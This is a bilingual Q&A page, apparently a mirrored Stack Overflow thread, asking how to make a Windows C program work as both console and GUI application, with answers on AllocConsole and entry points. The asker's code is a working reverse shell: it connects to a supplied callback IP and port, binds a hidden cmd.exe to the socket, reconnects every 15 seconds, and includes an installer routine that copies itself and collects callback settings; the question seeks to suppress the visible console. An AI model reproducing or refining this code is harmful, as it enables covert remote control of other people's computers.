[英]Win32 GUI application compiled as GUI need to use a console in C
I have a program that I am creating that has two sides of it. 我有一个正在创建的程序,其中包含两个方面。 The main execution (script.exe -setup) will open a console and ask the user multiple questions and then set the answers to variables and make adjustments to the machine based on the answers. 主要执行(script.exe -setup)将打开一个控制台,并向用户询问多个问题,然后设置变量的答案并根据答案对计算机进行调整。 This is a simple console application and it works fine if compiled as a Console application. 这是一个简单的控制台应用程序,如果编译为控制台应用程序,则可以正常工作。
The second part of the script (script.exe -socket 192.168.1.1:9000) will start a WinMain function that then calls a socket function. 脚本的第二部分(script.exe -socket 192.168.1.1:9000)将启动WinMain函数,然后调用套接字函数。 The reason I put the socket function inside the WinMain is so it does not display the 'cmd.exe' that CreateProcess calls. 我将套接字函数放在WinMain中的原因是,它不显示CreateProcess调用的“ cmd.exe”。 It was flashing the command prompt so I got rid of it by using the WinMain. 它正在闪烁命令提示符,所以我通过使用WinMain摆脱了它。 This only works as intended if compiled as a Win32 application, but then I am unable to run the setup side of the script. 如果编译为Win32应用程序,则只能按预期工作,但是我无法运行脚本的安装程序端。
I understand that when compiled as a console application it starts with the (int main()) function which is why it works. 我知道当编译为控制台应用程序时,它以(int main())函数开头,这就是它起作用的原因。 And when compiled as a Win32 it starts with the (WinMain()) function. 并且当编译为Win32时,它以(WinMain())函数开头。 However, I just need the application to start at Main as a Win32 Application. 但是,我只需要该应用程序作为Win32应用程序从Main开始即可。
int main(int argc, char *argv[]) {
char filePath[150];
char fileName[30];
int portNum;
char ip[16];
char socket[23];
if (argc == 1) {
printf("Usage: File.exe setup OR File.exe -s IP:PORT");
exit(0);
} else if (strcmp(argv[1], "setup") == 0) {
printf("Doing Setup Stuff\n");
} else if (strcmp(argv[1], "-socket") == 0){
strncpy(socket, argv[2], 22);
WinMain(0,0,socket,0);
return 0;
} else {
printf("Usage: File.exe setup OR File.exe -socket IP:PORT");
exit(0);
}
printf("Desired File Location. Example: C:\\Test\n");
scanf("%149s", filePath);
CheckDirectory(filePath);
printf("\nDesired file name. Example: test.exe\n");
scanf("%29s", fileName);
getchar();
CopyNewFile(filePath, fileName, argv[0]);
printf("\nEnter callback IP:\n");
scanf("%15s", ip);
printf("\nEnter callback port:\n");
scanf("%5d", &portNum);
printf("Enter time in seconds for each callback: ");
scanf("%10d", &secs);
return 0;
}
int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) {
char test[50];
strncpy(test, cmdline, 49);
char *ip = strtok(test, ":");
char *port = strtok(NULL, ":");
RunSocket(ip, port);
return 0;
}
void CopyNewFile(char *dir, char *fname, char *curName) {
char fullDir[300];
char file[60];
sprintf(file,"%s", curName);
sprintf(fullDir, "%s\\%s", dir, fname);
if (CopyFile(file, fullDir, FALSE)) {
printf("\nCopied new file!\n");
} else {
printf("Did not copy!");
}
}
void CheckDirectory(char *d) {
DIR* dir = opendir(d);
char answer[2];
if (dir) {
printf("Directory Exists!\n");
closedir(dir);
} else if (ENOENT == errno) {
printf("Directory does not exist. Do you want to create this directory? Y/N: ");
scanf("%s", answer);
if (strcmp(answer, "y") == 0) {
if (CreateDirectory(d, NULL)) {
printf("Created Directory!\n");
} else {
printf("Error Creating Directory!");
exit(1);
}
} else {
printf("Closing Script!");
exit(1);
}
}
}
void RunSocket(char *a, char *b) {
while(1) {
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
struct hostent *host;
host = gethostbyname(a);
strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(b));
hax.sin_addr.s_addr =inet_addr(ip_addr);
WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb=sizeof(ini_processo);
ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
Sleep(15000);
}
}
It is either a Windows application and then WinMain
is the user startup point, or is a console application and then main
is the user startup point. 它是Windows应用程序,然后WinMain
是用户启动点,或者是控制台应用程序,然后main
是用户启动点。 You can of course call main
from WinMain
, or you can allocate a console for the functionality you normally perform from main
. 您当然可以从WinMain
调用main
,也可以为通常从main
执行的功能分配一个控制台。
The following allocates a console and sets up the standard file handles: 以下内容分配一个控制台并设置标准文件句柄:
#ifndef _WIN32_WINNT
# define _WIN32_WINNT 0x0501
#endif
#include <windows.h>
#include <wincon.h>
#include <stdio.h>
int GetConsole(void)
{
if (!AttachConsole(ATTACH_PARENT_PROCESS))
if (!AllocConsole())
return(0);
_fileno(stdout)= _fileno(fopen("CON", "w"));
_fileno(stdin) = _fileno(fopen("CON", "r"));
_fileno(stderr)= _fileno(fopen("CON", "w"));
return(1);
}
There are only two differences between a CUI and a GUI PE application: CUI和GUI PE应用程序之间只有两个区别:
CreateProcess
will create a new console window for a CUI application if the parent process does not already have one. 如果父进程还没有一个CUI应用程序,则CreateProcess
将为其创建一个新的控制台窗口。 This can be suppressed with the DETACHED_PROCESS
flag. 这可以通过DETACHED_PROCESS
标志来抑制。
Cmd.exe will wait for CUI applications, it will not wait for GUI applications unless you use start /wait
. Cmd.exe将等待CUI应用程序,除非您使用start /wait
,否则它将不等待GUI应用程序。
main
vs WinMain
is controlled by your development environment, Windows (at the ABI level) just calls the (real) entry point function without any parameters. main
vs WinMain
由您的开发环境控制,Windows(在ABI级别)仅调用(真实)入口点函数而无需任何参数。 Your compiler provides the glue between this simple function and main
/ WinMain
. 您的编译器提供了此简单功能和main
/ WinMain
之间的粘合。
You can implement your own main
from WinMain
with CommandLineToArgvW
and WinMain
from main
with FreeConsole
+ GetModuleHandle
+ GetCommandLine
+ GetStartupInfo
. 你可以实现自己的main
从WinMain
与CommandLineToArgvW
和WinMain
从main
用FreeConsole
+ GetModuleHandle
+ GetCommandLine
+ GetStartupInfo
。
FreeConsole
is unacceptable then you must create a GUI application. 如果由FreeConsole
杀死的短暂闪烁的控制台窗口是不可接受的,则必须创建一个GUI应用程序。 You can try to hack your way to both with a GUI application that calls AttachConsole
+ AllocConsole
but the result is not perfect because cmd.exe does not wait before printing its next prompt and updating %errorlevel%
. 您可以尝试使用调用AttachConsole
+ AllocConsole
的GUI应用程序破解两者,但是结果并不完美,因为cmd.exe不会等待打印下一个提示符并更新%errorlevel%
。
To get the best of both worlds the best solution is actually to create two applications, "yourapp.com" and "yourapp.exe". 为了获得两全其美,最好的解决方案实际上是创建两个应用程序“ yourapp.com”和“ yourapp.exe”。 The frontend application would just be a .exe renamed to .com and the server would be a .exe. 前端应用程序将只是一个重命名为.com的.exe,而服务器将是一个.exe。 This works because %PATHEXT%
has .com before .exe. 之所以%PATHEXT%
是因为%PATHEXT%
在.exe之前有.com。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.